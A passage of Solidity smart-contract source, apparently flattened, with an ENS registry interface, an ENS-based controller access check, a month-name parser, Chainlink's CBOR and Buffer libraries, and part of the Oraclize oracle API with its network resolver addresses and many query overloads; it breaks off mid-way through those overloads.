* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
* OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
interface ENS {
// Logged when the owner of a node assigns a new owner to a subnode.
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
// Logged when the owner of a node transfers ownership to a new account.
event Transfer(bytes32 indexed node, address owner);
// Logged when the resolver for a node changes.
event NewResolver(bytes32 indexed node, address resolver);
// Logged when the TTL of a node changes
event NewTTL(bytes32 indexed node, uint64 ttl);
function setSubnodeOwner(bytes32 node, bytes32 label, address owner) public;
function setResolver(bytes32 node, address resolver) public;
function setOwner(bytes32 node, address owner) public;
function setTTL(bytes32 node, uint64 ttl) public;
function owner(bytes32 node) public view returns (address);
function resolver(bytes32 node) public view returns (address);
function ttl(bytes32 node) public view returns (uint64);
}
/// @title Resolver returns the controller contract address.
interface IResolver {
function addr(bytes32) external view returns (address);
}
/// @title Controllable implements access control functionality based on a controller set in ENS.
contract Controllable {
/// @dev _ENS points to the ENS registry smart contract.
ENS private _ENS;
/// @dev Is the registered ENS name of the controller contract.
bytes32 private _node;
/// @dev Constructor initializes the controller contract object.
/// @param _ens is the address of the ENS.
/// @param _controllerName is the ENS name of the Controller.
constructor(address _ens, bytes32 _controllerName) internal {
_ENS = ENS(_ens);
_node = _controllerName;
}
/// @dev Checks if message sender is the controller.
modifier onlyController() {
require(_isController(msg.sender), "sender is not a controller");
_;
}
/// @return true if the provided account is the controller.
function _isController(address _account) internal view returns (bool) {
return IController(IResolver(_ENS.resolver(_node)).addr(_node)).isController(_account);
}
}
/// @title Date provides date parsing functionality.
contract Date {
bytes32 constant private JANUARY = keccak256("Jan");
bytes32 constant private FEBRUARY = keccak256("Feb");
bytes32 constant private MARCH = keccak256("Mar");
bytes32 constant private APRIL = keccak256("Apr");
bytes32 constant private MAY = keccak256("May");
bytes32 constant private JUNE = keccak256("Jun");
bytes32 constant private JULY = keccak256("Jul");
bytes32 constant private AUGUST = keccak256("Aug");
bytes32 constant private SEPTEMBER = keccak256("Sep");
bytes32 constant private OCTOBER = keccak256("Oct");
bytes32 constant private NOVEMBER = keccak256("Nov");
bytes32 constant private DECEMBER = keccak256("Dec");
/// @return the number of the month based on its name.
/// @param _month the first three letters of a month's name e.g. "Jan".
function _monthToNumber(string _month) internal pure returns (uint8) {
bytes32 month = keccak256(abi.encodePacked(_month));
if (month == JANUARY) {
return 1;
} else if (month == FEBRUARY) {
return 2;
} else if (month == MARCH) {
return 3;
} else if (month == APRIL) {
return 4;
} else if (month == MAY) {
return 5;
} else if (month == JUNE) {
return 6;
} else if (month == JULY) {
return 7;
} else if (month == AUGUST) {
return 8;
} else if (month == SEPTEMBER) {
return 9;
} else if (month == OCTOBER) {
return 10;
} else if (month == NOVEMBER) {
return 11;
} else if (month == DECEMBER) {
return 12;
} else {
revert("not a valid month");
}
}
}
// <ORACLIZE_API>
// Release targetted at solc 0.4.25 to silence compiler warning/error messages, compatible down to 0.4.22
/*
Copyright (c) 2015-2016 Oraclize SRL
Copyright (c) 2016 Oraclize LTD
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
// This api is currently targeted at 0.4.22 to 0.4.25 (stable builds), please import oraclizeAPI_pre0.4.sol or oraclizeAPI_0.4 where necessary
pragma solidity >=0.4.22;// Incompatible compiler version... please select one stated within pragma solidity or use different oraclizeAPI version
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
/*
Begin solidity-cborutils
https://github.com/smartcontractkit/solidity-cborutils
MIT License
Copyright (c) 2018 SmartContract ChainLink, Ltd.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
// Allocate space for the buffer data
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
/**
* @dev Appends a byte array to the end of the buffer. Resizes if doing so
* would exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer.
*/
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Start address = buffer address + buffer length + sizeof(buffer length)
dest := add(add(bufptr, buflen), 32)
// Update buffer length
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
// Copy word-length chunks while possible
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
// Copy remaining bytes
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
/**
* @dev Appends a byte to the end of the buffer. Resizes if doing so would
* exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer.
*/
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Address = buffer address + buffer length + sizeof(buffer length)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
// Update buffer length
mstore(bufptr, add(buflen, 1))
}
}
/**
* @dev Appends a byte to the end of the buffer. Resizes if doing so would
* exceed the capacity of the buffer.
* @param buf The buffer to append to.
* @param data The data to append.
* @return The original buffer.
*/
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
// Memory address of the buffer data
let bufptr := mload(buf)
// Length of existing buffer data
let buflen := mload(bufptr)
// Address = buffer address + buffer length + sizeof(buffer length) + len
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
// Update buffer length
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
/*
End solidity-cborutils
*/
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID; // silence the warning and remain backwards compatible
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
// Following should never be reached with a preceding return, however
// this is just a placeholder function, ideally meant to be defined in
// child contract when proofs are used
myid; result; proof; // Silence compiler warnings
oraclize = OraclizeI(0); // Additional compiler silence about making function pure/view.
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
